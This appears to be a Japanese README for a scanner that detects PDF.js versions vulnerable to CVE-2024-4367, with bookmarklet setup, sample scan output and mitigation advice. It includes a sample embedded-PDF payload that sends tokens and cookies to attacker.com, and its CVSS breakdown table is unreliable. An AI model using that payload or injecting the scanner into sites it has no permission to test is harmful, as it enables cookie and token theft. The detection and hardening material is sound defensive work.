
スキャン終了 PoC CVE-2024-4367
⚠️ 重大なセキュリティツール | CVE-2024-4367(CVSS 9.8)を検出 - PDF.js リモートコード実行脆弱性
あらゆるWebサイトで動作 - 設定不要
CVE-2024-4367は、PDF.js(バージョン < 4.2.67)における重大な脆弱性で、悪意のあるPDFファイルを介して任意のJavaScript実行を可能にします。このスキャナーは、あらゆるWebサイト上の脆弱なPDF.jsインスタンスを自動的に検出します。
PDF.jsには、PDFファイルに埋め込まれたJavaScriptが適切にサンドボックス化されずに実行される欠陥があり、攻撃者は以下を実行できます:
F12を押してDevToolsを開くEnterを押すこのURLでブックマークを作成:
javascript:(function(){const s=document.createElement('script');s.src='https://cdn.jsdelivr.net/gh/yourusername/CVE-2024-4367-Scanner/scanner.js';document.body.appendChild(s);})();
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# 任意のWebサイトを開いてスクリプトを実行
<embed>要素<object> dataタグ?pdf=, ?file=, ?src=).pdfを受け付けるファイル入力フィールド┌─────────────────────────────────────────────────────────────┐
│ スキャンプロセスの流れ │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. 📚 スクリプトの読み込み │
│ ├─ 外部スクリプト(すべての<script src="">) │
│ └─ インラインスクリプト(すべての<script>タグ) │
│ │
│ 2. 🔍 PDF.jsバージョンの抽出 │
│ ├─ コード内のパターンマッチング │
│ ├─ Package.json検出 │
│ └─ Node_modulesパスの解析 │
│ │
│ 3. 🎯 脆弱性の特定 │
│ ├─ version < 4.2.67 ? → VULNERABLE │
│ └─ version = 2.16.105 ? → VULNERABLE │
│ │
│ 4. 🖼️ ビューアの特定 │
│ ├─ DOM要素のスキャン │
│ └─ 属性の検出 │
│ │
│ 5. ⚡ PoCの生成 │
│ ├─ テストPDFの作成 │
│ └─ ダウンロードリンクの提供 │
│ │
│ 6. 📊 結果の表示 │
│ ├─ 視覚的なオーバーレイ │
│ ├─ コンソールレポート │
│ └─ グローバル変数への保存 │
│ │
└─────────────────────────────────────────────────────────────┘
╔═══════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2024-4367 - UNIVERSAL PDF.js SCANNER ║
║ Detects vulnerable PDF.js versions and potential exploitation ║
╚═══════════════════════════════════════════════════════════════════════════════════╝
📚 PHASE 1: Scanning JavaScript Bundles for PDF.js
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] Found 42 external scripts
[+] Found 12 inline scripts
[1/42] Analyzing: vendor.bundle.js
→ PDF.js indicator found: pdfjs-dist
✅ PDF.js version found: 2.16.105
🚨 VULNERABLE to CVE-2024-4367!
🎯 PHASE 4: Identifying Exploitation Vectors
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
⚠️ URL parameter accepts PDF: file=/documents/report.pdf
⚠️ PDF upload form found
█████████████████████████████████████████████████████████████████████████████████
FINAL SCAN REPORT
█████████████████████████████████████████████████████████████████████████████████
🚨 CRITICAL VULNERABILITY CONFIRMED!
CVE: CVE-2024-4367
CVSS: 9.8 (CRITICAL)
Impact: Arbitrary JavaScript Execution
┌─────────────────────────────────────────────────────────────┐
│ CVE-2024-4367 SCAN RESULTS │
│ ━━━━━━━━━━━━━━━━━━━━━━━ │
│ 📍 Target: example.com │
│ 📦 PDF.js: 2.16.105 │
│ 🎯 Vulnerable: YES │
│ 📄 Viewers: 3 │
│ ⚡ Vectors: 2 │
│ ━━━━━━━━━━━━━━━━━━━━━━━ │
│ 🔴 CRITICAL - Upgrade Required │
└─────────────────────────────────────────────────────────────┘
# Node.jsプロジェクトの場合
npm install pdfjs-dist@latest
# CDN利用の場合
# バージョン4.2.67以上に更新
// PDF.jsを読み込む前に設定
pdfjsLib.GlobalWorkerOptions.disableJavaScript = true;
Content-Security-Policy: script-src 'self';
object-src 'none';
worker-src 'none'
// レンダリング前にPDFファイルを検証
function validatePDF(file) {
// マジックバイトをチェック
const header = file.slice(0, 5);
if (header !== '%PDF-') {
throw new Error('無効なPDFファイル');
}
// JavaScriptをスキャン
const text = file.toString();
if (text.includes('/JavaScript') ||
text.includes('/JS') ||
text.includes('<< /S /JavaScript >>')) {
throw new Error('PDFにJavaScriptが含まれています');
}
}
URLパラメータ
/viewer?file=malicious.pdf
/download?pdf=malicious.pdf
ファイルアップロード
<input type="file" accept=".pdf">
埋め込みビューア
<embed src="malicious.pdf">
APIエンドポイント
/api/documents/123/download
/api/report/pdf
// PDF埋め込みJavaScript
this.alert('CVE-2024-4367 Exploited!');
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
token: localStorage.getItem('token'),
cookies: document.cookie
})
});
スキャナーをインストール
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
スキャナーを実行
# 対象Webサイトを開く
# スキャナーをコンソールに貼り付け
# またはブックマークレットを使用
結果を分析
PoC PDFをダウンロード(脆弱な場合)
修正を適用
| シナリオ | 結果 |
|---|---|
| PDF.js 2.16.105 | 🔴 CRITICAL |
| PDF.js 3.x | 🔴 VULNERABLE |
| PDF.js 4.0.x | 🔴 VULNERABLE |
| PDF.js 4.2.67+ | ✅ SAFE |
// 脆弱なバージョン
const VULNERABLE_VERSIONS = [
{ version: '2.16.105', status: 'CRITICAL' },
{ version: '3.x.x', status: 'CRITICAL' },
{ version: '4.0.x - 4.2.66', status: 'CRITICAL' }
];
// 安全なバージョン
const SAFE_VERSION = '4.2.67';
| 日付 | イベント |
|---|---|
| 2024-04-23 | 脆弱性を発見 |
| 2024-04-24 | CVE-2024-4367割り当て |
| 2024-04-25 | パッチリリース(4.2.67) |
| 2024-04-26 | 公開開示 |
重要: このツールは許可されたセキュリティテストおよび教育目的のみを意図しています。
- ✅ 行うべき: 自分のWebサイトで使用する
- ✅ 行うべき: 明示的な許可を得て使用する
- ✅ 行うべき: セキュリティ研究に使用する
- ❌ 行うべきでない: 許可のないシステムで使用する
- ❌ 行うべきでない: 悪意のある目的で使用する
作者は、このツールの誤用または損害について一切の責任を負いません。
コントリビューションを歓迎します!以下の手順に従ってください:
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# 変更を加える
# 複数のWebサイトでテスト
# PRを送信
このプロジェクトはMITライセンスの下で提供されています - 詳細は LICENSE ファイルを参照してください。
このツールが役立つ場合は:
| 解決策 | 難易度 | 効果 |
|---|
| PDF.jsをアップグレード | 簡単 | ✅ 完全修正 |
| PDF.jsでJavaScriptを無効化 | 簡単 | ✅ 完全修正 |
| CSPの実装 | 中程度 | ✅ 良好 |
| サーバー側検証 | 中程度 | ✅ 良好 |
| サンドボックスレンダリング | 難しい | ✅ 優良 |
| PDF.jsなし | ℹ️ SAFE |
| 2024-05-01 |
| 悪用試行を確認 |
| コンポーネント | スコア |
|---|
| 攻撃元 | ネットワーク(9.8) |
| 攻撃の複雑さ | 低(9.8) |
| 必要な特権 | なし(9.8) |
| ユーザー操作 | 必要(8.8) |
| スコープ | 変更あり(9.1) |
| 機密性 | 高(9.8) |
| 完全性 | 高(9.8) |
| 可用性 | 高(9.8) |
| 全体 | 9.8(CRITICAL) |